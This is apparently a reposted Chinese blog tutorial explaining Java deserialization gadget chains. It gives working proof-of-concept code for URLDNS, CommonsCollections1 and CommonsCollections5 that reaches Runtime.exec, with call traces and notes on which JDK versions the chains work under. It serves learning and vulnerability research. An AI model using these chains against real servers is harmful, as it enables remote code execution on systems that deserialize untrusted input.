Java反序列化调用链

前言:

        虽然理解反序列化原理和使用,但是一个调用链编写出来的很多细节上理解上还是存在问题,下面就是对java反序列化调用链的一些理解,进行记录。

基础:

        什么情况下可以反序列化,什么类可以被反序列化,只有继承了java.io.Serializable的类才可以反序列化,为什么我们不能直接对Runtime.getRuntime().exec进行反序列化来执行命令,测试代码如下:

    public static void myexec() throws Exception {
        try {
            String cmd2 = "calc";
            Process proc = Runtime.getRuntime().exec(cmd2);


            ByteArrayOutputStream buf = new ByteArrayOutputStream();
            ObjectOutputStream objOut = new ObjectOutputStream(buf);

            objOut.writeObject(proc);
            byte[] ceshi = buf.toByteArray();

            System.out.print(Base64.getDecoder().decode(ceshi));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

运行后可以看到报错为这个类不能反序列化: 

查看类可以看到未继承 java.io.Serializable类

下面我们测试下urlDNS:

测试代码如下,代码其实很简单,主要就是利用了HashMap的HashMap.readObject()来反序列化

    public static void urldns() throws Exception {
        try {
            HashMap hashmap = new HashMap();
            URL url = new URL("http://4jaukp.dnslog.cn");
            Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
            f.setAccessible(true); 
            f.set(url, 123); 
            System.out.println(url.hashCode());
            hashmap.put(url, 123);
            f.set(url, -1); 

            ByteArrayOutputStream buf = new ByteArrayOutputStream();
            ObjectOutputStream objOut = new ObjectOutputStream(buf);
            objOut.writeObject(hashmap);
            byte[] ceshi = buf.toByteArray();

            System.out.print(Base64.getEncoder().encodeToString(ceshi));
        } catch (Exception e) {
            e.printStackTrace();
        }

因为继承了Serializable所以可以对HashMap进行反序列化

 

反序列化执行的内容为put如hashmap中的一个url方法,说白了就是放了个域名作为KEY,参数为123,参数值随意,

 通过反射修改hashCode为-1,是因为序列化执行的时候如果该值如果不等于-1,就不会执行我们后面的逻辑,所以需要反射修改

最后将HashMap反序列化后,就可以发送到被攻击的服务器,看下被攻击的服务器执行逻辑,下图为服务器代码:

当反序列化数据发送到服务器执行objIn.readObject();进行序列化执行后,会查看被反序列化类是否有实现readObject函数,如果实现了会自动进入该函数进行执行:

HashMap有自己实现readObject 方法,会将传入的序列化数据执行序列化操作

private void readObject(java.io.ObjectInputStream s)

序列化执行会实例化HashMap类则会自动执行其静态方法:

因为我们之前反序列化是存入了key即之前的URL数据,所以会调用hashCode方法

最后调用getProtocol方法实现dnslog接收数据

所以总结下,要想序列化数据首先该类必须继承 Serializable,然后要看其是否实现了readObject或者能够通过静态方法找到一个调用链执行我们希望的代码;

这里有人可能有疑问URL也继承了Serializable,为何要多此一举要对hashmap进行反序列化,我们对url反序列化下可以看看,直接反序列化url:

序列化数据发送到服务器,可以执行到如下位置

后续代码主要逻辑位于:

public URL(URL context, String spec, URLStreamHandler handler)

但是对代码查看后并没有代码调用getProtocol来实现对url进行解析,所以虽然满足了第一点,但是没有可以利用的调用链。

CommonsCollections1:

基础:

单纯的调用getProtocol只能检测漏洞是否存在,其实我们最重要的就是要去调用Runtime.getRuntime().exec来执行命令,这里可以对CommonsCollections1进行分析,对执行命令提供一些思路,下面我们一步一步进行分析:

首先我们要了解Transformer,ConstantTransformer,InvokerTransformer   

Transformer:

其属于org.apache.commons.collections的一个接口类,具体的实现看继承的类:

ConstantTransformer:

ConstantTransformer是Transformer的子类:

ConstantTransformer(Object constantToReturn) 构造函数
Object transform(Object input)  成员方法

通过ConstantTransformer类的transform方法获取一个对象类型,如transform参数是Runtime.class时,调用ConstantTransformer类的transform方法,执行后返回java.lang.Runtime类

InvokerTransformer:

InvokerTransformer同样属于Transformer的子类,其构造方法中有三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表 。另外还包括Transform的方法,该方法可以通过Java反射机制来进行执行任意代码

根据上面基础我们可以编写一个Transformer类型的数组,代码如下:

Transformer[] transformers = new Transformer[]{
       new ConstantTransformer(Runtime.class),
       new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
       new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
       new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

然后我们使用ChainedTransformer,首先ChainedTransformer同样属于Transformer的子类,构造方法为放入Transformer数组,transform为具体的实现方法,就是根据iTransformers的不同类型去调用对应的transform方法,完成反射执行,根据我们输入的参数调用类为ConstantTransformer->InvokerTransformer->InvokerTransformer->InvokerTransformer

测试调用代码如下: 

public static void CommonsCollections1_1() throws Exception {
    try {
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(String.class);
	}catch (Exception e) {
        e.printStackTrace();
    }
}

调用流程,首先是进入到chainedTransformer的transform方法:

 

 动态调用,根据我们传入的数组,首先调用的是ConstantTransformer的transform方法,这里主要返回我们之前存入的java.lang.Runtime类:

然后调用InvokerTransformer的transform方法,经过三次反射最后成功调用exec函数执行

由此可以看出我们要找到一个地方能够调用chainedTransformer的transform方法

MapEntry.setValue:

这里先介绍一个简单的调用链MapEntry的setValue方法:

当我们调用MapEntry的setValue方法时,会进入如下函数:

如果this.parent为TransformedMap类型时,可以调用 TransformedMap的checkSetValue方法:

此时如果保证this.valueTransformer的内容为Transformer[],数组中为我们上面的反射调用执行exec即可:

 所以这里要想保证this.parent为TransformedMap类型,需要使用TransformedMap的decorate方法,并最终放入Map中并只要调用MapEntry的setValue方法即可:

代码如下:

public static void CommonsCollections1_1() throws Exception {
    try {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        //outerMap.put("aa","ccc");

        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        onlyElement.setValue("foobar");

        //序列化操作,讲上述构造的handler恶意的对象,序列化保存
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(onlyElement);
        oos.close();

        System.out.println(barr);
    } catch (Exception e) {
        e.printStackTrace();
    }
}

 但是这样直接反序列化操作会报错,首先org.apache.commons.collections.map.AbstractInputCheckedMapDecorator$MapEntry并没有继承Serializable没有办法进行反序列化,另外即使其可以反序列化但是我们不能把调用的方法也进行序列化,所以除非服务器代码有进行setValue操作,否则这个并不能进行攻击,所以我们要对代码进行更改,我们现在有子弹了还差一把枪:

sun.reflect.annotation.AnnotationInvocationHandler:

这里我们选择sun.reflect.annotation.AnnotationInvocationHandler:

首先看poc:

public static void CommonsCollections1_3() throws Exception {
    try {
        Transformer[] transformers = new Transformer[]{
            //利用InvokerTransformer的反射功能,构造可以序列化的 java.lang.Class 的 Runtime,class对象
            //利用反射构造命令执行
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
            new ConstantTransformer(1)
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        //Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);
        //反射获取AnnotationInvocationHandler,将内部的方法实例化他
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Override.class, outerMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Override.class, proxyMap);

        System.out.print(handler.getClass());

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);

        ObjectOutputStream oos1 = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
        oos1.writeObject(handler);

        ByteArrayInputStream btin = new ByteArrayInputStream(barr.toByteArray());
        ObjectInputStream objIn = new ObjectInputStream(btin);
        objIn.readObject();

    } catch (Exception e) {
        e.printStackTrace();
    }
}

首先我们将TransformedMap.decorate替换为了LazyMap.decorate,为什么要替换为LazyMap,因为在我们的调用链中会调用LazyMap.get方法来触发this.factory.transform即执行transform方法:

其次构造了AnnotationInvocationHandler,参数为Retention.class和TransformedMap,首先看AnnotationInvocationHandler类继承了Serializable,但是其并非为公共类,所以只能通过反射调用,另外如果JDK版本高于9+,可能会权限错误,换成1.8或者JVM添加参数均可:

具体构造函数就是保存了类型和参数,即我们传入的两个参数MAP和transformerChain: 

然后我们要使用动态代理,即Proxy.newProxyInstance,为什么要使用动态代理,因为我们想要最后执行LazyMap.get方法,我们就要能够执行AnnotationInvocationHandler.invoke方法,因为其中包含代码,就是当this.memberValues为LazyMap类的时候,就回去调用LazyMap.get方法,进而达到我们执行命令的目的:

Object var6 = this.memberValues.get(var4);

 这里大概介绍下java的动态代理:

public static Object newProxyInstance(ClassLoader loader,
                                      Class<?>[] interfaces,
                                      InvocationHandler h)

三个参数分别为:

loader: 用哪个类加载器去加载代理对象
interfaces:动态代理类需要实现的接口
h:动态代理方法在执行时,会调用h里面的invoke方法去执行

另外这里需要注意最后代理的必须是接口(Interfaces),不是类(Class),也不是抽象类,即Map proxyMap的Map为接口才可以。

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

第一个参数我们需要去获取Map类的类加载器,:

第二个参数使用需要注意:

当调用的对象实现了接口,则使用 getInterfaces()。

对象是一个接口,他并没有实现接口,则使用new Class[]{}

所以这里使用new Class[] {Map.class}

第三个参数是我们要执行调用里面的invoke方法去执行,我们要执行AnnotationInvocationHandler.invoke方法,则我们放入之前反射获取的handler;

然后需要在此反射将动态代理进行实例化,为何要这一步,因为需要在readObject中由代码this.memberValues.entrySet()此时this.memberValues为我们的代理类,这个时候就会自动触发执行AnnotationInvocationHandler.invoke():

最后对生成的handler进行序列化,当将该内容发送到服务器便会执行exec,弹出计算器,下面先列出具体在服务器执行的调用链:

Gadget chain:
   ObjectInputStream.readObject()
      AnnotationInvocationHandler.readObject()
         Map(Proxy).entrySet()
            AnnotationInvocationHandler.invoke()
               LazyMap.get()
                  ChainedTransformer.transform()
                     ConstantTransformer.transform()
                     InvokerTransformer.transform()
                        Method.invoke()
                           Class.getMethod()
                     InvokerTransformer.transform()
                        Method.invoke()
                           Runtime.getRuntime()
                     InvokerTransformer.transform()
                        Method.invoke()
                           Runtime.exec()

根据调用链分析就很简单明了,但是这样要注意,ccs1因为反射的AnnotationInvocationHandler属于java的基础类,所以对jdk的版本有要求,1.8测试失败,1.7可以,其他的没有测试,大家这里要注意:

首先进入 AnnotationInvocationHandler.readObject(),这里会进入Map(Proxy).entrySet触发进入AnnotationInvocationHandler.invoke:

这里需要注意,1.8版本的执行失败是因为在AnnotationParser.parseAnnotation2方法中将类型转换成了LinkedHashMap,进而导致错误:

 1.7版本可以看到没有进行转换,所以可以成功:

言归正传, 进入到AnnotationInvocationHandler.invoke后,此时this.memberValues为LazyMap,所以会执行LazyMap.get(),如果为jdk1.8此处变为LinkedHashMap.get(),所以会失败:

进入LazyMap.get方法就没什么好说的了,上面都说过了会进入我们设置的ChainedTransformer调用链最终执行exe。

 

CommonsCollections5:

前面介绍了CommonsCollections1,其逻辑有点复杂而且对jdk版本要求比较高,有没有简单点而且兼容高一点的,所谓大道至简,越简单越使用,这里介绍下CommonsCollections5,首先看看poc代码:

public static void CommonsCollections5_1() throws Exception {
    try {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
            new ConstantTransformer(1)
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(outerMap, "foo");
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, entry);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(val);

        ByteArrayInputStream btin = new ByteArrayInputStream(barr.toByteArray());
        ObjectInputStream objIn = new ObjectInputStream(btin);
        objIn.readObject();

    } catch (Exception e) {
        e.printStackTrace();
    }
}

这个就很简单了,主要先实例化TiedMapEntry,其中参数为我们的LazyMap,后面的不重要

 

然后反射修改BadAttributeValueExpException类的参数val的值为我们上一步的TiedMapEntry

 

这就搞定了,下面看下调用链:

Gadget chain:
       ObjectInputStream.readObject()
           BadAttributeValueExpException.readObject()
               TiedMapEntry.toString()
                   LazyMap.get()
                       ChainedTransformer.transform()
                           ConstantTransformer.transform()
                           InvokerTransformer.transform()
                               Method.invoke()
                                   Class.getMethod()
                           InvokerTransformer.transform()
                               Method.invoke()
                                   Runtime.getRuntime()
                           InvokerTransformer.transform()
                               Method.invoke()
                                   Runtime.exec()

首先进入 BadAttributeValueExpException.readObject方法中:

 然后进入TiedMapEntry.toString方法,然后会去调用LazyMap的get方法:

到这里就不用说了,上面都介绍了。 

 

总结:

这里大概介绍了java反序列化调用链是如何编写的,通过对ccs1和ccs5对其调用链进行了分析,可以发现要想自己编写调用链主要就是要找到跳板,子弹都有但是如何找到一个比较好用的跳板来最终执行是比较难的,首先整个jar包里类和方法很多,如何从中间找到一个合适的调用链如果手工还是比较困难的,只能借助工具来找,后续会对这个进行讲解。 

猜你喜欢

转载自blog.csdn.net/GalaxySpaceX/article/details/132906109